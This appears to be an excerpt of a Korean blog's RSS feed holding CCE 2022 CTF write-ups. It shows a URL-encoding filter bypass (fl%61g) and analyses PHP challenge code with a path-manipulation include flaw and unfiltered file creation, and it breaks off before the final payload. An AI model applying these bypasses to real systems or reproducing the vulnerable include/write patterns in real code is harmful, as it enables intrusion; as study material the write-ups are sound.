&lt;p data-ke-size=&quot;size16&quot;&gt;필터링 코드를 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열만 필터링할 뿐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인코딩된 문자열을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링하지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;않고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예전에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Host splitting attack&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이라는 방식이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;있기도 했으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인코딩된 문자열을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링하지 않는 점을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점으로 삼아&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;&lt;u&gt;&lt;b&gt;단순한 URL Encoding으로&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;&lt;u&gt;&lt;b&gt;우회&lt;/b&gt;&lt;/u&gt;했습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;문제 풀이 순서:&lt;br /&gt;&lt;b&gt;1. http://flag.service/flag URL 중 Hostname을 URL Encoding&lt;/b&gt;&lt;br /&gt;- 한 문자만 해도 됨.&lt;br /&gt;- http://fl%61g.service/flag&lt;br /&gt;&lt;b&gt;2. 인코딩된 문자열을 입력, 제출&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인코딩된 문자열을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력, 제출하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 얻을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mFtqm/btrNa4gIH1K/gXDUeURTB2pb8C7ma09jUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mFtqm/btrNa4gIH1K/gXDUeURTB2pb8C7ma09jUk/img.png&quot; data-alt=&quot;인코딩된 문자열로 제출&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mFtqm/btrNa4gIH1K/gXDUeURTB2pb8C7ma09jUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmFtqm%2FbtrNa4gIH1K%2FgXDUeURTB2pb8C7ma09jUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;73&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;인코딩된 문자열로 제출&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;268&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmATg9/btrM8IrFZlV/5cEvXVtQyYxJHAkHe9jsmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmATg9/btrM8IrFZlV/5cEvXVtQyYxJHAkHe9jsmk/img.png&quot; data-alt=&quot;FLAG 획득!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmATg9/btrM8IrFZlV/5cEvXVtQyYxJHAkHe9jsmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmATg9%2FbtrM8IrFZlV%2F5cEvXVtQyYxJHAkHe9jsmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;70&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;268&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;FLAG 획득!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Study/CTF</category>
      <category>BabyWeb</category>
      <category>CCE</category>
      <category>CCE2022</category>
      <category>CTF</category>
      <category>writeup</category>
      <category>사이버공격방어대회</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/170</guid>
      <comments>https://chmodi.tistory.com/170#entry170comment</comments>
      <pubDate>Tue, 27 Sep 2022 14:08:32 +0900</pubDate>
    </item>
    <item>
      <title>[사이버공격방어대회 CCE 2022 Write up] Web 1번 : Reborn of php</title>
      <link>https://chmodi.tistory.com/169</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 대상 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에 접속하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단한 회원가입 페이지가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나타납니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;913&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AcUir/btrM8g8yYvL/66t8k9nq7ZLwQxOXx22vr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AcUir/btrM8g8yYvL/66t8k9nq7ZLwQxOXx22vr1/img.png&quot; data-alt=&quot;Web 1번 Reborn of PHP&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AcUir/btrM8g8yYvL/66t8k9nq7ZLwQxOXx22vr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAcUir%2FbtrM8g8yYvL%2F66t8k9nq7ZLwQxOXx22vr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;238&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;913&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Web 1번 Reborn of PHP&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Flag 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제공된 파일 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dockerfile 파일을 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag 파일을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;/flag&lt;/b&gt;&lt;/u&gt; 로 복사하는 내용이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서, 접속하는 사이트에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag 파일은 &lt;u&gt;&lt;b&gt;/flag&lt;/b&gt;&lt;/u&gt; 에 위치하게 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1642&quot; data-origin-height=&quot;1256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l9B5x/btrM36sTlvB/AORhGRhFQdH4IsmAJP3ei0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l9B5x/btrM36sTlvB/AORhGRhFQdH4IsmAJP3ei0/img.png&quot; data-alt=&quot;flag 파일을 /flag로 복사&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l9B5x/btrM36sTlvB/AORhGRhFQdH4IsmAJP3ei0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl9B5x%2FbtrM36sTlvB%2FAORhGRhFQdH4IsmAJP3ei0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;382&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1642&quot; data-origin-height=&quot;1256&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;flag 파일을 /flag로 복사&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 사이트와 함께 제공된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이트의 코드를 분석합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exploit을 위한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주된 코드는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;controller.lib.php 파일&lt;/b&gt;&lt;/u&gt;과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;register.php 파일,&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;util.lib.php 파일&lt;/b&gt;&lt;/u&gt;이었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ controller.lib.php 파일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선, &lt;u&gt;&lt;b&gt;controller.lib.php 파일&lt;/b&gt;&lt;/u&gt; 내용입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1664180496376&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# controller.lib.php

&amp;lt;?php if(!defined('__MAIN__')) exit; ?&amp;gt;
&amp;lt;?php
    class Controller {
        private $board = '';
        private $action = '';

        function __construct($board, $action) {
            $this-&amp;gt;board = $board;
            $this-&amp;gt;action = $action;

            if(!preg_match('/^[a-z0-9:.]+$/i', $this-&amp;gt;board)){
                $this-&amp;gt;board = 'main';
                $this-&amp;gt;action = 'index';
           }
        }
       
        function process() {
            $path = &quot;{$this-&amp;gt;board}/{$this-&amp;gt;action}&quot;;
            
            if(preg_match('/php|html/i',  $path)){
                alert('not invalid', 'back');
            }           

            chdir('pages/');
            if(!file_exists(&quot;{$path}.php&quot;)) $path = 'main/index';
            include(&quot;{$path}.php&quot;);
       }     
    }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;process() 함수의 내용을 보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$path 변수 내용에 .php를 붙여서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php 파일을 호출하여 실행하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이곳을 주요 포인트로 하고 역으로 분석했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중간에 확장자를 우회해야할 것 같은 코드가 존재하지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 중요하진 않았습니다 ㅠㅠ&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;문제의 코드...&lt;/b&gt;&lt;br /&gt;- if(!file_exists(&quot;{$path}.php&quot;)) $path = 'main/index';&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석을 이어나가면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$path의 내용은 class의 지역 변수인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;$board와 $action&amp;nbsp;&lt;/b&gt;&lt;/u&gt;변수를 합쳐서 생성되며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$action 변수가 뒤에 위치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;$path 초기화 코드&lt;/b&gt;&lt;br /&gt;- $path = &quot;{$this-&amp;gt;board}/{$this-&amp;gt;action}&quot;;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, $board와 $action 변수의 값은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 전체 index.php 파일에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 입력으로 입력받고 있어,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로 조작 취약점이 존재하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1664181346090&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# html/index.php

&amp;lt;?php
    define('__MAIN__', true);
    include('lib/controller.lib.php');
    include('lib/util.lib.php');
        
    $board = $_GET['b'] ? $_GET['b'] : 'main' ;
    $action = $_GET['a'] ? $_GET['a'] : 'index';
   
    $controller = new Controller($board, $action);
    $controller-&amp;gt;process();
    
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;controller.lib.php 파일에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$board 변수의 값은 정규표현식으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링을 하지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$action 변수의 값은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링을 거치지 않아&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 발생하게 됩니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;$board 변수 필터링 코드&lt;/b&gt;&lt;br /&gt;-&amp;nbsp;if(&lt;u&gt;&lt;b&gt;!preg_match('/^[a-z0-9:.]+$/i',&amp;nbsp;$this-&amp;gt;board)&lt;/b&gt;&lt;/u&gt;){ &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; $this-&amp;gt;board = 'main'; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; $this-&amp;gt;action = 'index'; &lt;br /&gt;&amp;nbsp; }&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ register.php 파일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 언급한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;controller.lib.php 파일에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 발생하는 위치는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인하였으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/flag 파일은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php 파일이 아니기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대신 읽어올 코드가 담긴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php 파일이 필요하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 파일에 대한 힌트는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;register.php 파일&lt;/b&gt;&lt;/u&gt;과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;util.lib.php 파일&lt;/b&gt;&lt;/u&gt;을 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얻을 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;register.php 파일&lt;/b&gt;&lt;/u&gt;의 내용입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따로 볼 내용은 없으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;save_user_id 함수&lt;/b&gt;&lt;/u&gt;를 호출하는 부분이라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;언급했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1664181872839&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# register.php

&amp;lt;?php if(!defined('__MAIN__')) die('Access denied'); ?&amp;gt;

&amp;lt;?php
    $id = $_POST['id'];
    $pw = $_POST['pw'];

    if(!$id || !$pw) alert('invalid input', 'back');

    if(!is_valid_id($id)) alert('invalid id', 'back');

    if(is_exists_user($id)){
        alert('already joined', 'back');
    }

    save_user_id($id, $pw);

    alert('welcome', '/');
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ util.lib.php 파일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주된 기능들이 모여있는 파일입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 파일의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;save_user_id 함수&lt;/b&gt;에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력된 id, pw 내용으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 생성합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1664182196690&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# util.lib.php 파일 -&amp;gt; save_user_id($id, $pw) 함수

function save_user_id($id, $pw){
    chdir('../');
    file_put_contents(&quot;dbs/{$id}&quot;, serialize($pw));
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별도의 필터링이 없기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 생성이 가능해지며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일명은 입력받은 ID,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일내용은 입력받은 PW를 직렬화하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP의 serialize 함수를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직렬화된 값은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 형태를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가집니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;PHP -&amp;gt; serialize 함수 결과&lt;/b&gt;&lt;br /&gt;- a:10:{s:3:&quot;one&quot;;s:12:&quot;C.m.A 하나&quot;;s:3:&quot;two&quot;;s:9:&quot;C.m.A 둘&quot;;s:5:&quot;three&quot;;s:9:&quot;C.m.A 셋&quot;;s:4:&quot;four&quot;;s:9:&quot;C.m.A 넷&quot;;s:4:&quot;five&quot;;s:12:&quot;C.m.A 다섯&quot;;s:3:&quot;six&quot;;s:12:&quot;C.m.A 여섯&quot;;s:5:&quot;seven&quot;;s:12:&quot;C.m.A 일곱&quot;;s:5:&quot;eight&quot;;s:12:&quot;C.m.A 여덜&quot;;s:4:&quot;nine&quot;;s:12:&quot;C.m.A 아홉&quot;;s:3:&quot;ten&quot;;s:9:&quot;C.m.A 열&quot;;}&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
